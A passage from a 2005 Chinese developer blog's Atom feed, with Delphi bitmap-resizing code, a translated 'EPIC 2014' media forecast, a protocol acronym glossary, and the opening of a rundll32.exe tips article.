<P>procedure TNewMMS.FormDestroy(Sender: TObject);<BR>begin<BR>&nbsp; stringlist.Free;<BR>&nbsp; inherited;<BR>end;</P>
<P><BR>procedure TNewMMS.edtSubjectMouseMove(Sender: TObject; Shift: TShiftState;<BR>&nbsp; X, Y: Integer);<BR>begin<BR>&nbsp;&nbsp; if edtsubject.Text='You&nbsp; can set a subject here' then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; edtSubject.SetFocus;<BR>end;</P>
<P>end.</P>
<P>&nbsp;</P>
<P>摘:http://dev.csdn.net/article/76/76072.shtm</P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=26" /> 
	  <id>http://www.openx.cn/default.asp?id=26</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Nearest Neighbor、Bilinear、Bicubic算法的Delphi代码]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-15T18:52:08+08:00</updated>
	  <published>2005-09-15T18:52:08+08:00</published>
		  <summary type="html"><![CDATA[<SPAN id=ArticleContent1_ArticleContent1_lblContent>&nbsp;
<P>unit BitmapResize;</P>
<P>interface</P>
<P>uses<BR>&nbsp; Windows, Classes, SysUtils, Graphics;</P>
<P>const PixelCountMax = 32768;</P>
<P>type<BR>&nbsp; PRGBTripleArray = ^TRGBTripleArray;<BR>&nbsp; TRGBTripleArray = array [0..PixelCountMax - 1] of TRGBTriple;</P>
<P>procedure ResizeBicubic(Src: TBitmap; var Dest: TBitmap;<BR>&nbsp; DestWidth, DestHeight, SrcWidth, SrcHeight: integer);</P>
<P>procedure ResizeBilinear(Src: TBitmap; var Dest: TBitmap;<BR>&nbsp; DestWidth, DestHeight, SrcWidth, SrcHeight: integer);</P>
<P>procedure ResizeNearestNeighbor(Src: TBitmap; var Dest: TBitmap;<BR>&nbsp; DestWidth, DestHeight, SrcWidth, SrcHeight: integer);</P>
<P>implementation</P>
<P>function Sinc(x: double): double;<BR>begin<BR>&nbsp; if abs(x) &lt; 1 then<BR>&nbsp;&nbsp;&nbsp; Result := 1 - 2 * x * x + x * x * abs(x)<BR>&nbsp; else if (abs(x) &gt;= 1) and (abs(x) &lt; 2) then<BR>&nbsp;&nbsp;&nbsp; Result := 4 - 8 * abs(x) + 5 * x * x - x * x * abs(x)<BR>&nbsp; else Result := 0;<BR>end;</P>
<P>procedure Bicubic(I1, I2, I3, I4: TRGBTriple; var New: TRGBTriple; u: double);<BR>var<BR>&nbsp; t: integer;<BR>begin<BR>&nbsp; t := trunc(I1.rgbtRed * Sinc(u + 1) + I2.rgbtRed<BR>&nbsp;&nbsp;&nbsp; * Sinc(u) + I3.rgbtRed * Sinc(u - 1) + I4.rgbtRed * Sinc(u - 2));<BR>&nbsp; if t &gt; 255 then t := 255;<BR>&nbsp; if t &lt; 0 then t := 0;<BR>&nbsp; New.rgbtRed := Byte(t);</P>
<P>&nbsp; t := trunc(I1.rgbtGreen * Sinc(u + 1) + I2.rgbtGreen<BR>&nbsp;&nbsp;&nbsp; * Sinc(u) + I3.rgbtGreen * Sinc(u - 1) + I4.rgbtGreen * Sinc(u - 2));<BR>&nbsp; if t &gt; 255 then t := 255;<BR>&nbsp; if t &lt; 0 then t := 0;<BR>&nbsp; New.rgbtGreen := Byte(t);</P>
<P>&nbsp; t := trunc(I1.rgbtBlue * Sinc(u + 1) + I2.rgbtBlue<BR>&nbsp;&nbsp;&nbsp; * Sinc(u) + I3.rgbtBlue * Sinc(u - 1) + I4.rgbtBlue * Sinc(u - 2));<BR>&nbsp; if t &gt; 255 then t := 255;<BR>&nbsp; if t &lt; 0 then t := 0;<BR>&nbsp; New.rgbtBlue := Byte(t);<BR>end;</P>
<P>procedure ResizeBicubic(Src: TBitmap; var Dest: TBitmap;<BR>&nbsp; DestWidth, DestHeight, SrcWidth, SrcHeight: integer);<BR>var<BR>&nbsp; hScale, wScale: double;<BR>&nbsp; f1, f2, f3, f4, fNew: TRGBTriple;<BR>&nbsp; temp1, temp2, temp3, temp4, tempDst: PRGBTripleArray;<BR>&nbsp; x, y, u, v: double;<BR>&nbsp; x1, x2, x3, x4, y1, y2, y3, y4, i, j, tempRGB: integer;<BR>begin<BR>&nbsp; Dest := TBitmap.Create;<BR>&nbsp; Dest.PixelFormat := pf24Bit;<BR>&nbsp; Dest.Width := DestWidth;<BR>&nbsp; Dest.Height := DestHeight;</P>
<P>&nbsp; Src.PixelFormat := pf24Bit;<BR>&nbsp; Src.Width := SrcWidth;<BR>&nbsp; Src.Height := SrcHeight;</P>
<P>&nbsp; hScale := DestHeight / SrcHeight;<BR>&nbsp; wScale := DestWidth / SrcWidth;</P>
<P>&nbsp; for i := 0 to DestHeight - 1 do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; x := i / hScale;<BR>&nbsp;&nbsp;&nbsp; x2 := trunc(x);<BR>&nbsp;&nbsp;&nbsp; x1 := x2 - 1;<BR>&nbsp;&nbsp;&nbsp; x3 := x2 + 1;<BR>&nbsp;&nbsp;&nbsp; x4 := x2 + 2;<BR>&nbsp;&nbsp;&nbsp; if x1 &lt; 0 then x1 := 0;<BR>&nbsp;&nbsp;&nbsp; if x3 &gt; SrcHeight - 1 then x3 := SrcHeight - 1;<BR>&nbsp;&nbsp;&nbsp; if x4 &gt; SrcHeight - 1 then x4 := SrcHeight - 1;</P>
<P>&nbsp;&nbsp;&nbsp; temp1 := Src.ScanLine[x1];<BR>&nbsp;&nbsp;&nbsp; temp2 := Src.ScanLine[x2];<BR>&nbsp;&nbsp;&nbsp; temp3 := Src.ScanLine[x3];<BR>&nbsp;&nbsp;&nbsp; temp4 := Src.ScanLine[x4];<BR>&nbsp;&nbsp;&nbsp; tempDst := Dest.ScanLine[i];</P>
<P>&nbsp;&nbsp;&nbsp; v := x - x2;</P>
<P>&nbsp;&nbsp;&nbsp; for j := 0 to DestWidth - 1 do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y := j / wScale;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y2 := trunc(y);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y1 := y2 - 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y3 := y2 + 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y4 := y2 + 2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if y1 &lt; 0 then y1 := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if y3 &gt; SrcWidth - 1 then y3 := SrcWidth - 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if y4 &gt; SrcWidth - 1 then y4 := SrcWidth - 1;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; u := y - y2;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bicubic(temp1^[y1], temp1^[y2], temp1^[y3], temp1^[y4], f1, u);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bicubic(temp2^[y1], temp2^[y2], temp2^[y3], temp2^[y4], f2, u);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bicubic(temp3^[y1], temp3^[y2], temp3^[y3], temp3^[y4], f3, u);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bicubic(temp4^[y1], temp4^[y2], temp4^[y3], temp4^[y4], f4, u);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bicubic(f1, f2, f3, f4, fNew, v);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tempDst^[j] := fNew;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end;<BR>end;</P>
<P>procedure ResizeBilinear(Src: TBitmap; var Dest: TBitmap;<BR>&nbsp; DestWidth, DestHeight, SrcWidth, SrcHeight: integer);<BR>var<BR>&nbsp; hScale, wScale: double;<BR>&nbsp; f1, f2, f3, f4, f12, f34, fNew: TRGBTriple;<BR>&nbsp; temp1, temp2, tempDst: PRGBTripleArray;<BR>&nbsp; x, y: double;<BR>&nbsp; x1, x2, y1, y2, i, j: integer;<BR>begin<BR>&nbsp; Dest := TBitmap.Create;<BR>&nbsp; Dest.PixelFormat := pf24Bit;<BR>&nbsp; Dest.Width := DestWidth;<BR>&nbsp; Dest.Height := DestHeight;</P>
<P>&nbsp; Src.PixelFormat := pf24Bit;<BR>&nbsp; Src.Width := SrcWidth;<BR>&nbsp; Src.Height := SrcHeight;</P>
<P>&nbsp; hScale := DestHeight / SrcHeight;<BR>&nbsp; wScale := DestWidth / SrcWidth;</P>
<P>&nbsp; for i := 0 to DestHeight - 1 do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; x := i / hScale;<BR>&nbsp;&nbsp;&nbsp; x1 := trunc(x);<BR>&nbsp;&nbsp;&nbsp; x2 := x1 + 1;<BR>&nbsp;&nbsp;&nbsp; if x2 &gt; SrcHeight - 1 then x2 := SrcHeight - 1;</P>
<P>&nbsp;&nbsp;&nbsp; temp1 := Src.ScanLine[x1];<BR>&nbsp;&nbsp;&nbsp; temp2 := Src.ScanLine[x2];<BR>&nbsp;&nbsp;&nbsp; tempDst := Dest.ScanLine[i];</P>
<P>&nbsp;&nbsp;&nbsp; for j := 0 to DestWidth - 1 do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y := j / wScale;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y1 := trunc(y);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y2 := y1 + 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if y2 &gt; SrcWidth - 1 then y2 := SrcWidth - 1;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f1 := temp1^[y1];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f2 := temp1^[y2];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f3 := temp2^[y1];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f4 := temp2^[y2];</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f12.rgbtRed := trunc(f1.rgbtRed + (y - y1) * (f2.rgbtRed - f1.rgbtRed));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f12.rgbtGreen := trunc(f1.rgbtGreen + (y - y1) * (f2.rgbtGreen - f1.rgbtGreen));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f12.rgbtBlue := trunc(f1.rgbtBlue + (y - y1) * (f2.rgbtBlue - f1.rgbtBlue));</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f34.rgbtRed := trunc(f3.rgbtRed + (y - y1) * (f4.rgbtRed - f3.rgbtRed));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f34.rgbtGreen := trunc(f3.rgbtGreen + (y - y1) * (f4.rgbtGreen - f3.rgbtGreen));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f34.rgbtBlue := trunc(f3.rgbtBlue + (y - y1) * (f4.rgbtBlue - f3.rgbtBlue));</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fNew.rgbtRed := trunc(f12.rgbtRed + (x - x1) * (f34.rgbtRed - f12.rgbtRed));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fNew.rgbtGreen := trunc(f12.rgbtGreen + (x - x1) * (f34.rgbtGreen - f12.rgbtGreen));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fNew.rgbtBlue := trunc(f12.rgbtBlue + (x - x1) * (f34.rgbtBlue - f12.rgbtBlue));</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tempDst^[j] := fNew;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end;<BR>end;</P>
<P>procedure ResizeNearestNeighbor(Src: TBitmap; var Dest: TBitmap;<BR>&nbsp; DestWidth, DestHeight, SrcWidth, SrcHeight: integer);<BR>var<BR>&nbsp; hScale, wScale: double;<BR>&nbsp; fNew: TRGBTriple;<BR>&nbsp; tempSrc, tempDst: PRGBTripleArray;<BR>&nbsp; x, y, i, j: integer;<BR>begin<BR>&nbsp; Dest := TBitmap.Create;<BR>&nbsp; Dest.PixelFormat := pf24Bit;<BR>&nbsp; Dest.Width := DestWidth;<BR>&nbsp; Dest.Height := DestHeight;</P>
<P>&nbsp; Src.PixelFormat := pf24Bit;<BR>&nbsp; Src.Width := SrcWidth;<BR>&nbsp; Src.Height := SrcHeight;</P>
<P>&nbsp; hScale := DestHeight / SrcHeight;<BR>&nbsp; wScale := DestWidth / SrcWidth;</P>
<P>&nbsp; for i := 0 to DestHeight - 1 do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; x := round(i / hScale);<BR>&nbsp;&nbsp;&nbsp; if x &gt; SrcHeight - 1 then x := SrcHeight - 1;</P>
<P>&nbsp;&nbsp;&nbsp; tempSrc := Src.ScanLine[x];<BR>&nbsp;&nbsp;&nbsp; tempDst := Dest.ScanLine[i];</P>
<P>&nbsp;&nbsp;&nbsp; for j := 0 to DestWidth - 1 do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y := round(j / wScale);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if y &gt; SrcWidth - 1 then y := SrcWidth - 1;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fNew := tempSrc^[y];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tempDst^[j] := fNew;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end;<BR>end;</P>
<P>end.<BR></P>
<P>摘:http://dev.csdn.net/article/76/76208.shtm</P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=25" /> 
	  <id>http://www.openx.cn/default.asp?id=25</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google大預言(flash版)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-15T14:29:27+08:00</updated>
	  <published>2005-09-15T14:29:27+08:00</published>
		  <summary type="html"><![CDATA[<P>[swf]http://mccd.udc.es/orihuela/epic/ols-master.swf[/swf]</P>
<P>本片作者非常大胆的预言Google将与Amazon合并、传统新闻媒体将衰败式微、Googlezon将击败微软Newsbotster，然后推出EPIC独-霸天下，非常的有趣！让人感到这世界运转越来越快，媒体生态变化迅速，没有高瞻远瞩和创新思维与灵活反应，大概就没有机会长存了。 <BR>因为原文为英文，所以奇岩山猫将其翻译成中文，以下先列出译文，再列出原文，然后列出影片的网址，让人做交互参照之用。 <BR>--- --- --- <BR>这是最好的时代、也是最坏的时代... <BR>2014年，人类对信息的使用达到了早期难以想象的广度与深度。 <BR>每个人都以某种方式进行着贡献。 <BR>每个人都参与创建一种生动逼真的媒体景致。然而，正如你知道的，新闻媒体已经寿终正寝，新闻界的财富已经没落，20世纪的新闻机构已成为遥远过去的孤灯残影。 <BR>通往2014的道路开始于20世纪中期： <BR>1989年，瑞士的欧洲量子物理实验室一位计算机科学家 Tim Berners-Lee 发明了ＷＷＷ (World Wide Web)。 <BR>1994年，Amazon.com成立。年轻的创始人梦想一家无所不售的商店。Amazon模式带来了因特网销售准则，此准则建立在一套自动化个人化的推介记-录上（一种可以评议的商店）。 <BR>1998年，两位 Stanford <BR>的程序设计师创建了Google。他们的算法仿效Amazon方式，将连结视为一种评价记录，从此建立了世界上最有影响力的搜寻引擎。 <BR>1999年，TiVo使得电视从时间限制与商业广告中解放出来。体验过TiVo的人几乎没有再回头的。 <BR>这一年，因特网公司 Pyra Labs 将一种个人出版工具 Blogger 公诸于众。 <BR>2002年，Friendster开办，它非常详细记录人的生活、嗜好及其社群网络，因成千上万的年轻人蜂拥而至得以走红。也在2002年，Google推出了-Googlenews，一个新闻平台，使得许多新闻机构大声咒骂。Googlenews完全由计算机自己编辑。 <BR>2003年，Google收购了Blogger。虽然Google的意图未曾公开，但他们对Blogger的兴趣并不是没有道理。 <BR>2003年是Blog纪元。 <BR>2004年很多事情的起始将会为来者所记忆。 <BR>Reason杂志向订户发送了一期封面有张订户房屋卫星照片的杂志，而且里面内容是由订户客制化信息。 <BR>Sony和飞利浦公布了世界上第一个能够大量生产的电子纸。 <BR>Google推出了GMail，给予每位使用者1GB的免费空间。 <BR>微软推出了Newsbot（MSN新闻机器人），一种社群新闻过滤器。 <BR>Amazon推出了A9，一种建立在Google技术基础上的搜寻引擎，又结合了Amazon自己的长处。 <BR>随后， Google上市， <BR>有了充沛新资本后，使得这家公司可以进行一项重大并购，Google购买了TiVo。 <BR>2005年 － 为了反击Google近来的进展，微软购买了Friendster。 <BR>2006 年 － Google将TiVo、Blogger、GMail、GoogleNews以及它全部搜寻，所有的服务都整合进了Google网格之中，这是一种通用平台，提-供储存与分享所有媒体于无限的储存空间和频宽，随时联机、随处存取。每位使用者可以选择她自己的隐私权等级，她可以将自己的东西安全地保存在 <BR>Google网格中、或公诸于众。它前所未有的容易让人都可以创建与使用媒体。 <BR>2007年，微软以一个社群新闻网络Newsbotster挑战Google参与新闻编辑平台，Newsbotster根据每位使用者朋友与同事浏览的内容进行-排序与分类，它允许每个人评注意见于所看到的内容上。 <BR>这年Sony的电子纸已经比实际纸张便宜，它成为Newsbotster的上等媒体。 <BR>2008 年看起来是联盟挑战微软野心的一年。Google和Amazon合组了Googlezon，Google提供Google网格以及搜寻技术，Amazon <BR>则提供社群记录引擎以及庞大的商业架构。合在一起共享两者详细的使用者社群网络、人口统计、消费习惯与兴趣的知识，以提供完整的客制化内容与广告服务。 <BR>2010年的新闻大战中值得注意的是没有实际的新闻机构参与其中。 <BR>Googlezon终于以无法匹敌的功能击败微软这个软件巨人。Googlezon的计算机使用新的算法而能动态的建构新闻内容，从所有新闻来源解析语句与事实-，并予以重组。计算机自己为每位使用者撰写新闻内容。 <BR>2011年，休眠的新闻界苏醒开始了第一击也是最后一击，纽约时报对Googlezon提起诉讼，控告其自动新闻解析机制违反了著作权法，这个案子最后打到了最-高法院，2011年8月4日，最高法院做出了对Googlezon有利的判决。 <BR>2014年3月9日（星期日）Googlezon公布了EPIC。 <BR>...欢迎来到我们的世界... <BR>「进化型的个人信息架构」（Evolving Personalized Information Construct , <BR>EPIC）是一种让杂乱无序的媒体内容进行过滤与条理化发行的系统。从Blog文章、手机相片、视讯报导、到研究报告，每个人现在都可以参与，很多人还为此获得-报酬～只需从Googlezon庞大广告收益中抽出少许即可泽披大众来稿。 <BR>EPIC依据使用者的选择、消费习惯、兴趣、地理位置、社群网络，创造出一种客制化的内容。 <BR>新一代的自由编辑已经迅速成长起来，他们把自己能力销到EPIC的连结、筛选和优先处理内容。 <BR>EPIC让我们混合比对自己想要的选择来订阅许多的编辑，更好的是EPIC超越过去来为内行的读者更深入更广泛的一览这世界更多微妙事务。但是这也有很多非常差-劲的地方，EPIC只不过像是一堆琐事的集合，充斥着感觉上不实、狭隘、肤浅的观点。但是EPIC总是我们想要的选择，它商业上的成功替代了媒体和民众或新闻道-德的议论。 <BR>在2014的今天，纽约时报已经退出战线，在无力的抗议中纽约时报变成专为年长精英读者出版的报纸。 <BR>但或许有其它方式... </P>
<P>摘自'摘自Google Talk大中华社区':</P>
<P>http://groups.google.com/group/talker/browse_thread/thread/3e9bc1f971e8f1a2</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=24" /> 
	  <id>http://www.openx.cn/default.asp?id=24</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[协议分析缩略语汇总]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-15T12:23:28+08:00</updated>
	  <published>2005-09-15T12:23:28+08:00</published>
		  <summary type="html"><![CDATA[<BR><SPAN class=tpc_content>ACK (ACKnowledgment) TCP首部中的确认标志<BR>API (Application Programming Interface) 应用编程接口<BR>ARP (Address Resolution Protocol) 地址解析协议<BR>A R PA N E T(Defense Advanced Research Project Agency NETwork) (美国)国防部远景研究规划局<BR>AS (Autonomous System) 自治系统<BR>ASCII (American Standard Code for Information Interchange) 美国信息交换标准码<BR>ASN.1 (Abstract Syntax Notation One) 抽象语法记法1<BR>BER (Basic Encoding Rule) 基本编码规则<BR>BGP (Border Gateway Protocol) 边界网关协议<BR>BIND (Berkeley Internet Name Domain) 伯克利I n t e r n e t域名<BR>BOOTP (BOOTstrap Protocol) 引导程序协议<BR>BPF (BSD Packet Filter) BSD 分组过滤器<BR>CIDR (Classless InterDomain Routing) 无类型域间选路<BR>CIX (Commercial Internet Exchange) 商业互联网交换<BR>CLNP (ConnectionLess Network Protocol) 无连接网络协议<BR>CRC (Cyclic Redundancy Check) 循环冗余检验<BR>CSLIP (Compressed SLIP) 压缩的S L I P<BR>CSMA (Carrier Sense Multiple Access) 载波侦听多路存取<BR>DCE (Data Circuit-terminating Equipment) 数据电路端接设备<BR>DDN (Defense Data Network) 国防数据网<BR>DF (Don’t Fragment) IP首部中的不分片标志<BR>DHCP (Dynamic Host Configuration Protocol) 动态主机配置协议<BR>DLPI (Data Link Provider Interface) 数据链路提供者接口<BR>DNS (Domain Name System) 域名系统<BR>DSAP (Destination Service Access Point) 目的服务访问点<BR>DSLAM (DSL Access Multiplexer) 数字用户线接入复用器<BR>DSSS (Direct Sequence Spread Spectrum) 直接序列扩频<BR>DTS (Distributed Time Service) 分布式时间服务<BR>DVMRP (Distance Vector Multica&#115;t Routing Protocol) 距离向量多播选路协议<BR>EBONE (European IP BackbONE) 欧洲I P主干网<BR>EOL (End of Option List) 选项清单结束<BR>EGP (External Gateway Protocol) 外部网关协议<BR>EIA (Electronic Industries Association) 美国电子工业协会<BR>FCS (Frame Check Sequence) 帧检验序列<BR>FDDI (Fiber Distributed Data Interface) 光纤分布式数据接口<BR>FIFO (First In, First Out) 先进先出<BR>FIN (FINish) TCP首部中的结束标志<BR>FQDN (Full Qualified Domain Name) 完全合格的域名<BR>FTP (File Transfer Protocol) 文件传送协议<BR>HDLC (High-level Data Link Control) 高级数据链路控制<BR>HELLO 选路协议<BR>IAB (Internet Architecture Board) Internet体系结构委员会<BR>IANA (Internet Assigned Numbers Authority) Internet号分配机构<BR>ICMP (Internet Control Message Protocol) Internet控制报文协议<BR>IDRP (InterDomain Routing Protocol) 域间选路协议<BR>IEEE (Institute of Electrical and Electronics Engineering) （美国）电气与电子工程师协会<BR>IEN (Internet Experiment Notes) 互联网试验注释<BR>IESG (Internet Engineering Steering Group) Internet工程指导小组<BR>IETF (Internet Engineering Task Force) Internet工程专门小组<BR>IGMP (Internet Group Management Protocol) Internet组管理协议<BR>IGP (Interior Gateway Protocol) 内部网关协议<BR>IMAP (Internet Message Access Protocol) Internet报文存取协议<BR>IP (Internet Protocol) 网际协议<BR>I RTF (Internet Research Task Force) Internet研究专门小组<BR>IS-IS (Intermediate System to Intermediate System Protocol) 中间系统到中间系统协议<BR>ISN (Initial Sequence Number) 初始序号<BR>ISO (International Organization for Standardization) 国际标准化组织<BR>ISOC (Internet SOCiety) Internet协会<BR>LAN (Local Area Network) 局域网<BR>LBX (Low Bandwidth X) 低带宽X<BR>LCP (Link Control Protocol) 链路控制协议<BR>LFN (Long Fat Net) 长肥网络<BR>LIFO (Last In, First Out) 后进先出<BR>LLC (Logical Link Control) 逻辑链路控制<BR>LSRR (Loose Source and Record Route) 宽松的源站及记录路由<BR>MBONE (Multica&#115;t Backbone On the InterNEt) Internet上的多播主干网<BR>MIB (Management Information Base) 管理信息库<BR>MILNET (MILitary NETwork) 军用网<BR>MIME (Multipurpose Internet Mail Extensions) 通用I n t e r n e t邮件扩充<BR>MSL (Maximum Segment Lifetime) 报文段最大生存时间<BR>MSS (Maximum Segment Size) 最大报文段长度<BR>M TA (Message Transfer Agent) 报文传送代理<BR>MTU (Maximum Transmission Unit) 最大传输单元<BR>NCP (Network Control Protocol) 网络控制协议<BR>NFS (Network File System) 网络文件系统<BR>NIC (Network Information Center) 网络信息中心<BR>NIT (Network Interface Tap) 网络接口栓（S u n公司的一个程序）<BR>NNTP (Network News Transfer Protocol) 网络新闻传送协议<BR>NOAO (National Optical Astronomy Observatories) 国家光学天文台<BR>NOP (No Operation) 无操作<BR>NSFNET (National Science Foundation NETwork) 国家科学基金网络<BR>NSI (NASA Science Internet) （美国）国家宇航局I n t e r n e t<BR>NTP (Network Time Protocol) 网络时间协议<BR>NVT (Network Virtual Terminal) 网络虚拟终端<BR>OSF (Open Software Foudation) 开放软件基金<BR>OSI (Open Systems Interconnection) 开放系统互连<BR>OSPF (Open Shortest Path First) 开放最短通路优先<BR>PAWS (Protection Against Wrapped Sequence number) 防止回绕的序号<BR>PDU (Protocol Data Unit) 协议数据单元<BR>POSIX (Portable Operating System Interface) 可移植操作系统接口<BR>PPP (Point-to-Point Protocol) 点对点协议<BR>PSH (PuSH) TCP首部中的急迫标志<BR>RARP (Reverse Address Resolution Protocol) 逆地址解析协议<BR>RFC (Request For Comments) Internet的文档，其中的少部分成为标准文档<BR>RIP (Routing Information Protocol) 路由信息协议<BR>RPC (Remote Procedure Call) 远程过程调用<BR>RR (Resource Record) 资源记录<BR>RST (ReSeT) TCP首部中的复位标志<BR>RTO (Retransmission Time Out) 重传超时<BR>RTT (Round-Trip Time) 往返时间<BR>SACK (Selective ACKnowledgment) 有选择的确认<BR>SLIP (Serial Line Internet Protocol) 串行线路I n t e r n e t协议<BR>SMI (Structure of Management Information) 管理信息结构<BR>SMTP (Simple Mail Transfer Protocol) 简单邮件传送协议<BR>SNMP (Simple Network Management Protocol) 简单网络管理协议<BR>SSAP (Source Service Access Point) 源服务访问点<BR>SSRR (Strict Source and Record Route) 严格的源站及记录路由<BR>SWS (Silly Window Syndrome) 糊涂窗口综合症<BR>SYN (SYNchronous) TCP首部中的同步序号标志<BR>TCP (Transmission Control Protocol) 传输控制协议<BR>TFTP (Trivial File Transfer Protocol) 简单文件传送协议<BR>TLI (Transport Layer Interface) 运输层接口<BR>TTL (Ti m e - To-Live) 生存时间或寿命<BR>TUBA (TCP and UDP with Bigger Addresses) 具有更长地址的T C P和U D P<BR>Telnet 远程终端协议<BR>UA (User Agent) 用户代理<BR>UDP (User Datagram Protocol) 用户数据报协议<BR>URG (URGent) TCP首部中的紧急指针标志<BR>UTC (Coordinated Universal Time) 协调的统一时间<BR>UUCP (Unix-to-Unix CoPy) Unix到U n i x的复制<BR>WAN (Wide Area Network) 广域网<BR>WWW (World Wide Web) 万维网<BR>XDR (eXternal Data Representation) 外部数据表示<BR>XID (transaction ID) 事务标识符<BR>XTI (X/Open Transport Layer Interface) X/ O p e n运输层接口</SPAN><BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=23" /> 
	  <id>http://www.openx.cn/default.asp?id=23</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Windows自带利器：Rundll.exe高级应用]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-14T22:39:35+08:00</updated>
	  <published>2005-09-14T22:39:35+08:00</published>
		  <summary type="html"><![CDATA[<P>　　首先，请你做个小实验（请事先保存好你正在执行的程式的结果）∶ <BR><BR>　　点击“开始－程式－Ms－Dos方式”，进入Dos视窗，然後键入“rundll32.exe user.exe,restartwindows”，再按下回车键，这时你将看到，机器被重启了！ <BR><BR>　　当然，Rundll的功能绝不仅仅是重启你的机器。其实，Rundll者，顾名思义，执行Dll也，它的功能就是以命令列的方式呼叫Windows的动态链结库，Rundll32.exe与Rundll.exe的区别就在于前者是呼叫32位的链结库，而后者是运用于16位的链结库，它们的命令格式是∶ <BR><BR>　　RUNDLL.EXE ，， <BR><BR>　　这里要注意三点∶ <BR><BR>　　1.Dll档案名中不能含有空格，比如该档案位於c:Program Files目录，你要把这个路径改成c:Progra～1； <BR><BR>　　2.Dll档案名与Dll入口点间的逗号不能少，否则程式将出错并且不会给出任何资讯！ <BR><BR>　　3.这是最重要的一点∶Rundll不能用来呼叫含返回值参数的Dll，例如Win32API中的GetUserName(), GetTextFace()等。 <BR><BR>　　在Visual Basic中，提供了一条执行外部程式的指令Shell,格式为∶ <BR><BR>　　Shell “命令列” <BR><BR>　　如果能配合Rundll32.exe用好Shell指令，会使您的VB程式拥有用其他方法难以甚至无法实现的效果∶仍以重启为例，传统的方法需要你在VB工程中先建立一个模组，然後写入WinAPI的声明，最後才能在程式中呼叫。而现在只需一句: <BR><BR>　　Shell “rundll32.exe user.exe,restartwindows”就搞定了！ <BR><BR>　　实际上，Rundll32.exe在呼叫各种Windows控制面板和系统选项方面有著独特的优势。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL <BR><BR>　　功能: 显示控制面板 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1 <BR><BR>　　功能: 显示“控制面板－辅助选项－键盘”选项视窗 <BR><BR>　　